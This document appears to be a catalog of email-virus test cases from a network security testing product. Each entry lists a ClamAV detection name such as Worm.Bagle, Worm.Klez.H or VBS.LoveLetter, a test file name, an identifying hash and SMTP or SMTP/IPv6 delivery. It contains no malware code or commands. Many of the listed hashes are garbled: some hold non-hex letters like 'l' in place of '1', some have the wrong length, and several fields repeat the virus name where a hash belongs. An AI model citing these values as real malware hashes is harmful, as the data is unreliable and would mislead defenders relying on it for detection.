Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c402e86c12e519f41f2b6e0b77elf60. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.8eb3cf7b.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8eb3cf7bdbaaabe88f05c60b7b92d9c0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SysClock.f0c88112_IPv6.xml
Executive Description:	Email Virus Worm.SysClock (IPv6 Version)
Detailed Description:	This is the email virus Worm.SysClock as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f0c881121393713e27cd8f35aaae0cfa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Pleh.55cde934.xml
Executive Description:	Email Virus Worm.VBS.Pleh
Detailed Description:	This is the email virus Worm.VBS.Pleh as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 55cde934290e89ae29f92ff118b6280c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Spth.Jsg.c.c.5f4962a6.xml
Executive Description:	Email Virus Email-Worm.JS.Spth.Jsg.c.c
Detailed Description:	This is the email virus Email-Worm.JS.Spth.Jsg.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Spth.Jsg.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Titel.B.14d74038_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Titel.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Titel.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 14d74038941aba45e32e45e295ae7273. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.6a96c7fc_IPv6.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6a96c7fca9ae43ff09f9edd2c86b7888. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Pahi.a.a.93e30cc0_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Pahi.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Pahi.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Pahi.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Nyxem.E.nlc66904e_IPv6.xml
Executive Description:	Email Virus Nyxem.E (IPv6 Version)
Detailed Description:	This is the email virus Nyxem.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: lc66904ecb846da5b1fb2072f9ea6e0e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	VBS.Mesut.6955341a.xml
Executive Description:	Email Virus VBS.Mesut
Detailed Description:	This is the email virus VBS.Mesut as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6955341a7edd6675f6e8a79e2e33e287. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Petik.J.4ec0004f_IPv6.xml
Executive Description:	Email Virus Worm.Petik.J (IPv6 Version)
Detailed Description:	This is the email virus Worm.Petik.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4ec0004fb7f700df736ae4d3c2c22919. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AT.13497c6e_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AT (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AT as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 13497c6e85bf4b50a8b34770148d6ae4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Newapt.f.f.03ab6973.xml
Executive Description:	Email Virus Email-Worm.Win32.Newapt.f.f
Detailed Description:	This is the email virus Email-Worm.Win32.Newapt.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Newapt.f.f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Likun.b.86e1de0e_IPv6.xml
Executive Description:	Email Virus Worm.Likun.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Likun.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 86e1de0efbe26db178ffa53ba0a109a2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Veka.19d67837_IPv6.xml
Executive Description:	Email Virus Worm.Veka (IPv6 Version)
Detailed Description:	This is the email virus Worm.Veka as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 19d67837bleb1256596e35f18cbe7042. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mytob.S.2cda519a_IPv6.xml
Executive Description:	Email Virus Worm.Mytob.S (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mytob.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2cda519a199aa9012fd4d7e16fce067a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.409066b0.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 409066b07c94329bbdb1bc94d560b0f3a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	WORM.TheFly.402d5086_IPv6.xml
Executive Description:	Email Virus WORM.TheFly (IPv6 Version)
Detailed Description:	This is the email virus WORM.TheFly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 402d508688afaf9643924e3e33740dbe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Actem.act.0355dcc9_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Actem.act (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Actem.act as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Actem.act. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Skudex.8102e9ee_IPv6.xml
Executive Description:	Email Virus Worm.Skudex (IPv6 Version)
Detailed Description:	This is the email virus Worm.Skudex as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8102e9ee3fa5038d78e615fcfaf31e8b. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.FreeTrip.d.d.2a8a6ecc.xml
Executive Description:	Email Virus Email-Worm.Win32.FreeTrip.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.FreeTrip.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.FreeTrip.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MyPics.d.5e045198_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.d (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5e04519844fdclf080ble8cl5f648753. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.aeacf455.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aeacf4552136015f2feb177f98c6eee2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LostGame.2849aeb5.xml
Executive Description:	Email Virus Worm.LostGame
Detailed Description:	This is the email virus Worm.LostGame as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2849aeb558799d3089432e3708576d8b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-dll.e65d7ab6_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-dll (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e65d7ab639a2361493d388e36dle663a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.Krim.a.a.316113b7_IPv6.xml
Executive Description:	Email Virus Email-Worm.BAT.Krim.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.BAT.Krim.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.Krim.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Fbound.C.dlb4f623.xml
Executive Description:	Email Virus Worm.Fbound.C
Detailed Description:	This is the email virus Worm.Fbound.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dlb4f623a52c9defb4430ff585d5d41. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.VBSWG2.X.41cc548e.xml
Executive Description:	Email Virus VBS.VBSWG2.X
Detailed Description:	This is the email virus VBS.VBSWG2.X as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 41cc548e66cfaf53e7a98b569f4b3dd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Qoma.A.9a5f3b48_IPv6.xml
Executive Description:	Email Virus VBS.Qoma.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.Qoma.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a5f3b488aecd17a4263cf248fbd2323. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Dumar.p.p.7a645ce9_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Dumar.p.p (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Dumar.p.p as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Dumar.p.p. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.g.g.49ca4c9a.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.g.g

Detailed Description:	This is the email virus Email-Worm.Win32.Predec.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.g.g. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Yumao.bdd4e8ab_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Yumao (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Yumao as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bdd4e8ab9db0d5e79474cb50f1f0ebda. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Pahi.C.20a6688e_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Pahi.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Pahi.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 20a6688ed7cf35334d5b28e51ca7a470. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Axam.d644fe97_IPv6.xml
Executive Description:	Email Virus Worm.Axam (IPv6 Version)
Detailed Description:	This is the email virus Worm.Axam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d644fe97ade87da20d7010034df6c77a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Frethem.d.bb68fe35.xml
Executive Description:	Email Virus Worm.Frethem.d
Detailed Description:	This is the email virus Worm.Frethem.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb68fe3595983ad30028b506e1b88a08. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lindodia.lin.9796500e.xml
Executive Description:	Email Virus Email-Worm.Win32.Lindodia.lin
Detailed Description:	This is the email virus Email-Worm.Win32.Lindodia.lin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lindodia.lin. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Guorm.46042fdd_IPv6.xml
Executive Description:	Email Virus Worm.Guorm (IPv6 Version)
Detailed Description:	This is the email virus Worm.Guorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 46042fdd55791a0b61e991c730db8d39. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zapchast.bb3dc04a_IPv6.xml
Executive Description:	Email Virus Worm.Zapchast (IPv6 Version)
Detailed Description:	This is the email virus Worm.Zapchast as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb3dc04a44b5daef36200420ecd5bfb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sircam.98b60c86_IPv6.xml
Executive Description:	Email Virus Worm.Sircam (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sircam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 98b60c865fd5071da9db959316ea95. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.de20b9d3.xml
Executive Description:	Email Virus Worm.Yoxec
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: de20b9d3df6863655fd090c43429aea. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Taz.78071c5d_IPv6.xml
Executive Description:	Email Virus Worm.Taz (IPv6 Version)
Detailed Description:	This is the email virus Worm.Taz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 78071c5db7cf9c5687491387c735f400. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.470bb58a.xml

Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 470bb58a9bd7e58760ecec5c37e93f76. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.H.74e3e172.xml
Executive Description:	Email Virus Worm.Klez.H
Detailed Description:	This is the email virus Worm.Klez.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 74e3e172fe55e10b36078c481b514a2d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lohack.B.50611798_IPv6.xml
Executive Description:	Email Virus Worm.Lohack.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lohack.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5061179881266f9b47d2elf6ca96a647. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Kielhorn.17966efb_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Kielhorn (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Kielhorn as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17966efb88a79d14461438e48c36140c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Frido.B.6348862c.xml
Executive Description:	Email Virus Worm.VBS.Frido.B
Detailed Description:	This is the email virus Worm.VBS.Frido.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6348862cb0baffc0cdd595876a90aeel. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.B.4613a17f.xml
Executive Description:	Email Virus Worm.Gibe.B
Detailed Description:	This is the email virus Worm.Gibe.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4613a17f12531d21c683023ffa4b4a34. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.MTX.5a9f01d0.xml
Executive Description:	Email Virus W32.MTX
Detailed Description:	This is the email virus W32.MTX as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5a9f01d09c06d894812bcb6863b0e36a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bajar.C.9a403d20.xml
Executive Description:	Email Virus Worm.Bajar.C
Detailed Description:	This is the email virus Worm.Bajar.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a403d2004ca4d23860c0b248fd2191a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Urbe.a.c3891f3d_IPv6.xml
Executive Description:	Email Virus Worm.Urbe.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Urbe.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c3891f3d28a0a46fa6abee6d5ada947. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Y.5d7c0dc3.xml
Executive Description:	Email Virus Worm.SomeFool.Y
Detailed Description:	This is the email virus Worm.SomeFool.Y as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d7c0dc34fca6897fb64248580cdfcf9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Suppl.sup.ac725bab_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Suppl.sup (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Suppl.sup as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Suppl.sup. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.IRCGen.YuS.2.299d0734.xml
Executive Description:	Email Virus Worm.IRCGen.YuS.2
Detailed Description:	This is the email virus Worm.IRCGen.YuS.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 299d073415dc002abca5b1355af09664. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Ultratt.gz.7fc0a19a_IPv6.xml
Executive Description:	Email Virus W32.Ultratt.gz (IPv6 Version)
Detailed Description:	This is the email virus W32.Ultratt.gz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7fc0a19adafcc768c7134bd53bb9333f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lucky.B.434b21e6_IPv6.xml
Executive Description:	Email Virus Worm.Lucky.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lucky.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 434b21e61d2e8d6868e2a01f5be98150. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.i.i.b1983ab0.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.i.i
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.i.i. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Ciosor.cio.ab0647ba.xml
Executive Description:	Email Virus Email-Worm.Win32.Ciosor.cio
Detailed Description:	This is the email virus Email-Worm.Win32.Ciosor.cio as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Ciosor.cio. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hobex.hob.6490b29e_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hobex.hob (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Hobex.hob as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hobex.hob. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Brit.D1.42080bde_IPv6.xml
Executive Description:	Email Virus Worm.Brit.D1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Brit.D1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42080bde5d3bcf177324f34961ff6f2b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Antites.cdl5440a.xml
Executive Description:	Email Virus Worm.Antites
Detailed Description:	This is the email virus Worm.Antites as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cdl5440a7c4a6668349e3fe6232a956a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.03.f3680ee3_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.03 (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.03 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f3680ee3f10aec63ac22b5ee21235b88. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Reg.6bad8d09.xml
Executive Description:	Email Virus Worm.Reg
Detailed Description:	This is the email virus Worm.Reg as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6bad8d097f96a98b45acd13edcf84330. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.2cc4a4ac.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2cc4a4ac5baeec223f3a88809b333b3c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Lee.C.e2258b28.xml
Executive Description:	Email Virus Worm.Lee.C
Detailed Description:	This is the email virus Worm.Lee.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e2258b286f63d0acf39bb06a4fb44815. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Largepile.fb31972b.xml
Executive Description:	Email Virus Worm.Largepile
Detailed Description:	This is the email virus Worm.Largepile as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fb31972bb1bbf4254481606cf82dd535. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lentin.b.b.3b0b3d1f_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Lentin.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Lentin.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lentin.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.203f63fb.xml
Executive Description:	Email Virus Worm.Vorgon.B
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 203f63fbd9a4139ce8fc8fb6c07b98b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.20650c59_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 20650c59258c9a25526ec65b9d1fba9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Sigbug.sig.5f855666.xml
Executive Description:	Email Virus Email-Worm.JS.Sigbug.sig
Detailed Description:	This is the email virus Email-Worm.JS.Sigbug.sig as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Sigbug.sig. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BugBear.B.c5592458_IPv6.xml
Executive Description:	Email Virus Worm.BugBear.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.BugBear.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c559245877a6211e15d2d7eecbb97f14. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Hybris.C.0ff61a81.xml
Executive Description:	Email Virus W32.Hybris.C
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0ff61a8168b587e026ed448a4884b0e3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.d17c5406.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d17c5406aeb8f24cf728b3f6ad3c4e3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kitro.E.16678a86.xml
Executive Description:	Email Virus Worm.Kitro.E
Detailed Description:	This is the email virus Worm.Kitro.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 16678a863f718eb7d643a89403228470. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Brit.D1.42080bde.xml
Executive Description:	Email Virus Worm.Brit.D1
Detailed Description:	This is the email virus Worm.Brit.D1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42080bde5d3bcf177324f34961ff6f2b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Urbe.b.b.e62e5ce6.xml
Executive Description:	Email Virus Email-Worm.Win32.Urbe.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Urbe.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Urbe.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Music.B.adaf15fb_IPv6.xml
Executive Description:	Email Virus Worm.Music.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Music.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: adaf15fbe59a45981091cd103e196bfc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Happy99.SKA.02dd0eaa.xml
Executive Description:	Email Virus Trojan.Happy99.SKA
Detailed Description:	This is the email virus Trojan.Happy99.SKA as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 02dd0eaa9649alle55fa5467fa4b8ef8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Noon.B.6b461fc5.xml
Executive Description:	Email Virus Worm.Noon.B
Detailed Description:	This is the email virus Worm.Noon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6b461fc5b0a4bf7d767cf06eedfd2d4bd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.VB.h.h.dcd7089c_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.VB.h.h (IPv6 Version)
